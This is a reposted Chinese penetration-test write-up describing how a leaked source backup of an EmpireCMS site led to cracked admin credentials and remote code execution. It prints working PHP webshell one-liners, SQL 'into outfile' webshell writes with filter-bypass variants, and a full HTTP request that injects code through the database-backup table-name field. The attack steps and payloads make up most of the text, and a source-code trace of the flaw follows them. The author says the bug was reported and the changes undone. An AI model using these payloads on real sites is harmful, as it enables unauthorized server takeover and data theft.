记一次从源码泄露到getshell(二)

0x00 前言

文章所述漏洞已经提交至漏洞平台,且所有恶意操作均已复原

0x01 源码泄露

http://www.xxx.com.cn/www.zip

老规矩拿到源码先通关关键词找敏感信息

key
pwd
passwd
password

找到了半天居然找不到一个有效的密码

最后在robots.txt中看到CMS的信息-EmpireCMS

查询知道是开源cms后,直接百度查询数据表结构

知道了管理员记录表为phome_enewsuser,在源码里全局搜索

0x02 敏感信息泄露

点击进去得到管理员用户名,密码hash和盐值

直接解md5得到口令

Kite/kite

得到口令后就是找到后台地址,由于是开源的百度一下就有了
看一眼目录并没有修改后台地址,所以直接访问

http://www.xxx.com.cn/e/admin/

得到具体的版本号为6.6

0x04 历史漏洞

登录到后台后,因为是开源CMS,历史漏洞才是渗透的关键

直接搜索empireCMS漏洞,开始复现历史漏洞

还没有开始就已经结束

Table 'hdm1010482_db.phome_enewstempgroup' doesn't exist

好家伙,这是把表都删了吗

EmpireCMS 7.5以及之前版本中的e/class/moddofun.php文件的LoadInMod函数存在安全漏洞。攻击者可利用该漏洞上传任意文件。

在本地先新建一个test.php.mod文件,内容为

<?php file_put_contents("lyy.php","<?php @eval(\$_POST['lyy']); ?>");?>

填入任意表名然后选择马上导入

又是一个表不存在,GG

EmpireCMS7.5及之前版本中的admindbDoSql.php文件存在代码注入漏洞。

也就是后台提供了一个sql语句执行

只要服务器mysql配置secure_file_priv 不当,就可以向服务器写入文件

Payload

select '<?php @eval($_POST[123])?>' into outfile '&#x7EDD;&#x5BF9;&#x8DEF;&#x5F84;/e/admin/lyy.php'

因为要向站点写入文件,所以必须知道绝对路径才行。

因为是无回显执行,也不能通过show mysql变量获取部分路径,所以也pass了

show variables like '%datadir%';

empirecms 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。

选择任意一个表,开始备份抓包

将tablename字段改为payload

@eval($_POST[123])

请求包

POST /e/admin/ebak/phome.php HTTP/1.1
Host: www.xxx.com.cn
Content-Length: 285
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.xxx.com.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.xxx.com.cn/e/admin/ebak/ChangeTable.php?mydbname=hdm1010482_db
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bxubwecmsdodbdata=empirecms; bxubwloginuserid=1; bxubwloginusername=Kite; bxubwloginlevel=1; bxubweloginlic=empirecmslic; bxubwloginadminstyleid=1; bxubwloginrnd=F3JiUXpyeXm6mWPTsdUG; bxubwloginecmsckpass=e816ccfcb01f4ed8ee0ad531de6fa67c; bxubwtruelogintime=1640762619; bxubwlogintime=1640762630
Connection: close

phome=DoEbak&mydbname=hdm1010482_db&baktype=phpinfo()&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=gbk&bakdatatype=1&mypath=hdm1010482_db_20211229152350&insertf=replace&waitbaktime=0&readme=&autofield=&tablename%5B%5D=@eval($_POST[123])&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD

回显得到备份文件夹名

hdm1010482_db_20211229152350

webshell连接备份文件夹下的config.php

http://www.xxx.cn/e/admin/ebak/bdata/hdm1010482_db_20211229152350/config.php

成功getshell

因为手里有源码,就跟了一下这个漏洞

首先定位

直接全局搜索config.php就找到了

在e/admin/ebak/class/functions.php文件中Ebak_DoEbak存在文件写入操作

可以看到直接对$d_table变量进行拼接

再看看写函数WriteFiletext_n

也没有对写入内容进行过滤,那么只需要知道如何控制$d_table变量值即可

crtl+左键跟到上面

而$count是$tablename的数量,$tablename是$add中tablename的键值

找到调用Ebak_DoEbak函数的位置,知道$add就是$_POST

那就很清楚了,他对POST传参的tablename进行了处理产生两个变量

$b_table和$d_table,其中$b_table是被双引号包裹无法利用的

但是$d_table没有双引号被包裹,且没有任意过滤直接写入.php文件,导致命令执行

其他参数大部分是被双引号包裹的

没有被双引号包裹的参数都被强转int,如果传str会返回0 所以pass

在通过漏洞4获得站点真实路径后我又构造sql语句,尝试向站点直接webshell

select '<?php phpinfo();?>' into outfile '/data/home/hmu072095/htdocs/e/admin/lyy.php'

虽然爆了一个数据库连接错误,但是语句被成功执行,只是被写入的内容被替换成了空

可以成功访问但没有内容

可以写入正常字符

select 'test' into outfile '/data/home/hmu072095/htdocs/e/admin/1.txt'

初步判断是对php标签做了过滤,尝试其他写法进行绕过

1.select '<? phpinfo(); ?>' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'
2.select '<script language="php"> phpinfo(); </script>' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'
3.select '<?php @eval($_POST[1])?>' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'

只有最后的asp风格成功写入

尝试访问无法执行 查了一下linux上默认不开PHP短标签配置项,溜了溜了

1.通过御剑目录扫描工具对目标站点进行目录扫描,发现泄露了网站的备份文件www.zip,对其下载到本地进行源代码分析

2.通过phpstorm进行源代码加载,并搜索关键字key,pwd,password,passwd,并没有找到相关密码,通过robots.txt,发现是EmpireCMS

3.通过百度搜索EmpireCMS的数据表结构,发现phome_enewsuser为管理员记录表,通过全局批量搜索phome_enewsuser关键字,发现源码中泄露了网站的管理员的用户名和密码md5值,通过md5解密得到明文为kite

4.输入默认的后台路径/admin,可看到后台登录页面,输入得到的用户名和密码,即可登录后台。

5.在网站后台-模版-公共模版-js调用登陆模版处准备写入一句,发现表不存在,无法写入shell

6.在网站后台–系统–数据表与系统模板–管理数据表–导入系统模板,模板文件名:test.php.mod,且,存放的的数据表名为:phome_ecm_111,导入进入后,发现表不存在,无法写入shell

test.php.mod:

“);?>

7.在网站后台–系统–备份与恢复数据–执行SQL语句,写入一句话,前提条件需要:mysql配置secure_file_priv 不当,且需要知道网站绝对路径以及EmpireCMS

Original: https://www.cnblogs.com/backlion/p/15824614.html
Author: 渗透测试中心
Title: 记一次从源码泄露到getshell(二)

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/529615/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • Pyinstaller打包教程

    由于用户使用Python脚本的时候可能没有运行环境,所以需要打包。记录下碰到的问题。 安装 pip install –upgrade pyinstaller 安装最新开发版 pi…

    Linux 2023年6月13日
    062
  • linux开机自动挂载(/etc/fstab)

    fatab 介绍 通常情况,Linux 的 /etc/fstab 文件可能有如下内容: # /etc/fstab Created by anaconda on Fri Aug 18…

    Linux 2023年6月7日
    0122
  • 模拟一个简单的tomcat

    404. 抱歉,您访问的资源不存在。 可能是网址有误,或者对应的内容被删除,或者处于私有状态。 代码改变世界,联系邮箱 contact@cnblogs.com 园子的商业化努力-困…

    Linux 2023年6月11日
    0124
  • 使用VScode创建第一个vue项目

    初识vue,小小白一枚 软件,插件安装,略… 插件:vetur(支持vue代码高亮)、ESLint(js语法纠错)、Auto Close Tag(自动闭合标签)、Aut…

    Linux 2023年6月7日
    0103
  • nginx配置只允许域名访问,禁止ip访问80,443端口

    一、背景客户扫描阿里云服务器,发现渗透漏洞(.git文件泄露漏洞),可以直接使用IP访问项目底下的某个文件,针对这个问题,需要对nginx进行配置,不使用IP访问项目,而只能使用域…

    Linux 2023年6月14日
    091
  • [apue] linux 文件系统那些事儿

    前言 说到 linux 的文件系统,好多人第一印象是 ext2/ext3/ext4 等具体的文件系统,本文不涉及这些,因为研究具体的文件系统难免会陷入细节,甚至拉大段的源码做分析,…

    Linux 2023年5月27日
    0114
  • Java 集合框架

    一、 Collection集合 1.1 集合概述 集合:集合是java中提供的一种容器,可以用来存储多个数据。 数组的长度是固定的。集合的长度是可变的。 数组中存储的是同一类型的元…

    Linux 2023年6月7日
    083
  • 国产化之x64平台安装银河麒麟操作系统

    背景 某个项目需要实现基础软件全部国产化,其中操作系统指定银河麒麟v4,CPU使用飞腾处理器。飞腾处理器是ARMv8架构的,在之前的文章中介绍了使用QEMU模拟ARMv8架构安装银…

    Linux 2023年5月27日
    088
  • linux root用户编辑文件提示没有权限

    linux root用户编辑文件提示没有权限 感觉很奇怪,因为是root用户。于是查看了一下文件的权限,结果如下: [root@localhost elasticsearch-5….

    Linux 2023年6月8日
    0106
  • css中*{}和*html,body{}的区别

    css里面定义*{padding:0px;margin: 0px;} 相当于选择器,代表html所有的元素,包括html标签、body标签等; {}大括号里面写入需要给定的属性和属…

    Linux 2023年6月13日
    093
  • 【Java8新特性】- 接口中默认方法修饰为普通方法

    Java8新特性 – 接口中默认方法修饰为普通方法 😄生命不息,写作不止🔥 继续踏上学习之路,学之分享笔记👊 总有一天我也能像各位大佬一样🏆 一个有梦有戏的人 @怒放吧…

    Linux 2023年6月6日
    0111
  • 免外围电路ESP32/ESP8266系列单片机串口一键下载方案

    一、概述 CH340X、CH343、CH342等USB转串口芯片支持免外围电路ESP32/ESP8266等单片机串口一键下载功能,对此类支持多模式启动的单片机,无需外围三极管等逻辑…

    Linux 2023年6月7日
    0135
  • 大数据集群服务启停脚本/常用端口/时间同步

    1、整体启动/停止HDFS start-dfs.sh/stop-dfs.sh 2、整体启动/停止YARN start-yarn.sh/stop-yarn.sh 1、分别启动/停止H…

    Linux 2023年6月8日
    096
  • 更快的排序——归并排序!基于分而治之的对数复杂度的排序Merge Sort

    Merge Sort Algorithm The merge sort algorithm is defined recursively: If the list is of si…

    Linux 2023年6月13日
    097
  • GFS-Google 文件系统

    GFS分布式文件系统 简介 GFS是一个可扩展的分布式文件系统,用于大型的、分布式的、对大量数据进行访问的应用。它运行于廉价的普通硬件上,并提供容错功能。它可以给大量的用户提供总体…

    Linux 2023年6月13日
    095
  • ASP.NET Core 3.0 : 二十四. 配置的Options模式

    上一章有个配置的绑定的例子,可以将配置绑定到一个Theme实例中。也就是在使用对应配置的时候,需要进行一次绑定操作。而Options模式提供了更直接的方式,并且可以通过依赖注入的方…

    Linux 2023年6月7日
    092
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球